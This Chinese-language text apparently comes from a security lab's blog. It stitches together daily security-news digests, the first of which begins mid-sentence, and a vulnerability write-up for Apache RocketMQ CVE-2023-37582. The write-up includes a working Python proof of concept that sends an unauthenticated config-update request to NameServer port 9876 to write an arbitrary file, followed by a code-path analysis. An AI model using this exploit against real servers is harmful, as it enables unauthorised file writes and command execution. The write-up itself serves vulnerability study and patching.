中的“BleedingPipe”远程代码执行漏洞在服务器和客户端上运行恶意命令，从而控制设备。BleedingPipe 是许多 Minecraft mod 中发现的一个漏洞，是由于 在 Java 的“ObjectInputStream”类中错误地使用反序列化 在服务器和客户端之间交换网络数据包而导致的。 8、以色列最大炼油厂BAZAN集团遭受网络攻击 https://www.bleepingcomputer.com/news/security/israels-largest-oil-refinery-website-offline-after-ddos-attack 以色列最大的炼油厂运营商BAZAN集团的网站在世界大部分地区都无法访问，伊朗的黑客组织Cyber Avengers（又名Cyber Av3ngers）在其Telegmra频道中声称入侵了该集团的网络系统。该黑客组织泄露了BAZAN SCADA系统的屏幕截图，与用于监控和操作工业控制系统的应用软件相关，并表示他们利用该集团使用的防火墙中的漏洞进行入侵。BAZAN集团发言人表示， 9、警惕！通过谷歌和必应搜索广告传播的新型恶意活动 https://thehackernews.com/2023/07/new-malvertising-campaign-distributing.html 据观察，一种新的恶意广告活动利用谷歌搜索和必应的广告，以AnyDesk、Cisco AnyConnect VPN和WinSCP等IT工具的用户为目标，诱骗他们下载木马安装程序，目的是入侵企业网络，并可能在未来实施勒索软件攻击。 10、网络安全机构警告IDOR漏洞被用于数据泄露 https://thehackernews.com/2023/07/cybersecurity-agencies-warn-against.html 澳大利亚和美国的网络安全机构发布了一份联合网络安全咨询，警告Web应用程序中的安全漏洞，恶意行为者可能会利用这些漏洞来策划数据泄露事件并窃取机密数据。 免责声明 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景网安实验室观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景网安实验室一律不予承担。

漏洞简介 Apache RocketMQ是一款低延迟、高并发、高可用、高可靠的分布式消息中间件。CVE-2023-37582 中，由于对 CVE-2023-33246 修复不完善，导致在Apache RocketMQ NameServer 存在未授权访问的情况下，攻击者可构造恶意请求以RocketMQ运行的系统用户身份执行命令。 影响版本 Apache RocketMQ <= 5.1.1 Apache RocketMQ <= 4.9.6 环境搭建 参考 Apache RocketMQ 远程代码执行漏洞 CVE-2023-33246 的环境搭建 还是为了方便进行调试，我们再 linux 下搭建 RocketMQ 的相关服务，利用源码启动 一共需要运行两个服务 org.apache.rocketmq.namesrv.NamesrvStartup org.apache.rocketmq.broker.BrokerStartup 先启动 NamesrvStartup，再启动 BrokerStartup 同时都需要配置环境变量 ROCKETMQ_HOME ROCKETMQ_HOME\=/home/ubuntu/Desktop/rocketmq-rocketmq-all-5.1.0 漏洞复现 运行 python 脚本 import socket import binascii client = socket.socket() # you ip client.connect(('192.168.222.130',9876)) # data json = '{"code":318,"flag":0,"language":"JAVA","opaque":266,"serializeTypeCurrentRPC":"JSON","version":433}'.encode('utf-8') body='configStorePath=/tmp/test.txt\nproductEnvName=123\\ntest'.encode('utf-8') json_lens = int(len(binascii.hexlify(json).decode('utf-8'))/2) # 一个字节是2个十六进制数 head1 = '00000000'+str(hex(json_lens))[2:]      # hex(xxxx) 0x1243434 去掉 0x all_lens = int(4+len(binascii.hexlify(body).decode('utf-8'))/2+json_lens) head2 = '00000000'+str(hex(all_lens))[2:] data = head2[-8:]+head1[-8:]+binascii.hexlify(json).decode('utf-8')+binascii.hexlify(body).decode('utf-8') # send client.send(bytes.fromhex(data)) data_recv = client.recv(1024) print(data_recv) 成功在 tmp 目录下的 test.txt 文件中写入指定字符串 test 漏洞分析 org/apache/rocketmq/remoting/protocol/RequestCode.java code 代表调用不同的功能，此时调用的是318 更新配置的操作 src/main/java/org/apache/rocketmq/remoting/protocol/RequestCode.java 根据对应的 code 会调用 对应的函数进行处理 src/main/java/org/apache/rocketmq/namesrv/processor/DefaultRequestProcessor.java src/main/java/org/apache/rocketmq/namesrv/processor/DefaultRequestProcessor.java#updateConfig src/main/java/org/apache/rocketmq/remoting/Configuration.java#update 首先判断是不是属于可控的属性 src/main/java/org/apache/rocketmq/remoting/Configuration.java#persist src/main/java/org/apache/rocketmq/remoting/Configuration.java#getStorePath 调用 getStorePath 获取文件路径，此时获取的值是 configStorePath 的值 src/main/java/org/apache/rocketmq/common/MixAll.java#string2File src/main/java/org/apache/rocketmq/common/MixAll.java#string2FileNotSafe src/main/java/org/apache/rocketmq/common/utils/IOTinyUtils.java#writeStringToFile 漏洞修复 修改禁用修改配置路径的参数

1、 WordPress的Ninja Forms插件存在安全漏洞 https://www.bleepingcomputer.com/news/security/wordpress-ninja-forms-plugin-flaw-lets-hackers-steal-submitted-data 研究人员在WordPress的流行插件Ninja Forms中发现了3个安全漏洞，攻击者可以通过这些漏洞实现权限提升并窃取用户数据。第一个漏洞是CVE-2023-37979，这是一个基于POST的反射式XSS（跨站点脚本）漏洞，允许未经身份验证的攻击者通过诱骗特权用户访问特制的网页来提升权限并窃取信息。后两个安全漏洞分别被标记为CVE-2023-38393和CVE- 2、Zimbra针对其产品中的零日漏洞发布安全更新 https://www.bleepingcomputer.com/news/security/zimbra-patches-zero-day-vulnerability-exploited-in-xss-attacks Zimbra发布安全更新，修复Zimbra协作套件（ZCS）电子邮件服务器的中的零日漏洞。该安全漏洞是一个反射式XSS（跨站点脚本）漏洞，攻击者能够利用该XSS漏洞在受影响的系统上窃取敏感信息或执行恶意代码。虽然Zimbra在首次披露该漏洞并敦促用户手动修复时表示没有发现漏洞利用迹象，但研究人员表示在具有针对性的攻击活动中发现了对该漏洞的利用。 3、陆地集群无线电标准（TETRA）中存在5个安全漏洞 https://tetraburst.com/ 政府部门和关键基础设施中广泛使用的陆地集群无线电（TETRA）通信标准中存在5个安全漏洞。这些安全漏洞于2021年被研究人员所发现，并一直持续到现在，统称为TETRA:BURST。到目前为止，还没有确凿的证据可以确定这些漏洞被攻击者所利用。根据基础设施和设备配置，攻击者能够利用这些漏洞进行实时解密、先窃取后解密、消息注入、用户匿名化或会话密钥固定。这些安全漏洞分别被标记为CVE-2022-24400、CVE-2022-24401、CVE-2022-24402、CVE-2022-24403、CVE-2022-24404。 4、加密支付服务提供商CoinsPaid遭受网络攻击 https://www.bleepingcomputer.com/news/security/coinspaid-blames-lazarus-hackers-for-theft-of-37-300-000-in-crypto 爱沙尼亚加密支付服务提供商CoinsPaid表示，于2023年7月22日遭受网络攻击，导致价值3.72千万美元的加密货币被盗，但该公司强调，客户资金是安全和完全可用的，此次事件不会对公司的业务产生重大影响。CoinsPaid将此次网络攻击归咎于Lazarus组织，但是CoinsPaid并没有公开他们如何将此次攻击与Lazarus联系起来。 5、Abyss Locker勒索软件针对VMware ESXi服务器进行攻击 https://www.bleepingcomputer.com/news/security/linux-version-of-abyss-locker-ransomware-targets-vmware-esxi-servers Abyss Locker勒索软件是一种相对较新的勒索软件，于2023年3月份被用于进行攻击活动。近期，研究人员发现了该勒索软件的Linux版本，查看可执行文件中的字符串后，发现该文件专门针对VMware ESXi服务器进行攻击。加密器利用“esxcli”命令查找所有可用的虚拟机，然后终止它们。该勒索软件将对设备上的文件进行加密，将加密文件的后缀名更改为“.cryp 6、Weintek修复其产品中的安全漏洞 https://www.securityweek.com/weintek-weincloud-vulnerabilities-allowed-manipulation-damaging-of-ics-devices 研究人员在Weintek产品中发现了安全漏洞，这些漏洞可能被用来操纵和破坏工业控制系统。研究人员在Weintek Weincloud中发现了四种类型的安全漏洞，第一个漏洞可能被利用通过使用相应的JWT令牌重置帐户密码，第二个漏洞可能被利用测试证书登录官方网站，第三个漏洞可能被用来进行DoS攻击，第四个漏洞可能被用于暴力破解攻击。Weintek通过API更新修复了这些漏洞，用户无需 7、三菱电机CNC系列设备中存在安全漏洞 https://www.cisa.gov/news-events/ics-advisories/icsa-23-208-03 研究人员在三菱电机CNC系列设备中发现安全漏洞，该漏洞被标记为CVE-2023-3346，CVSSv3评分为9.8，可以被远程利用且攻击复杂度较低。该漏洞属于缓冲区溢出漏洞，恶意攻击者可以通过发送特制的数据包在受影响的产品上造成拒绝服务状态并执行恶意代码。 8、新的 Android 恶意软件 CherryBlos 利用 OCR 窃取敏感数据 https://thehackernews.com/2023/07/new-android-malware-cherryblos.html 一种名为CherryBlos的新型 Android 恶意软件利用光学字符识别 (OCR) 技术来收集存储在图片中的敏感数据。 9、报告显示教育部门勒索软件受害者的比例最高 https://www.infosecurity-magazine.com/news/education-sector-highest/ 根据 Sophos 的一份新报告，2022 年教育部门记录的勒索软件受害者比例高于任何其他部门。 10、CL0P勒索软件以医疗保健行业为目标发起新一轮攻击 https://thecyberexpress.com/hinduja-group-cyber-attack-cl0p-ransomware/ CL0P勒索软件组织在其泄漏站点上揭示了24家新的受害公司，主要针对医疗保健，IT和ITES以及BFSI部门。 免责声明 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景网安实验室观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景网安实验室一律不予承担。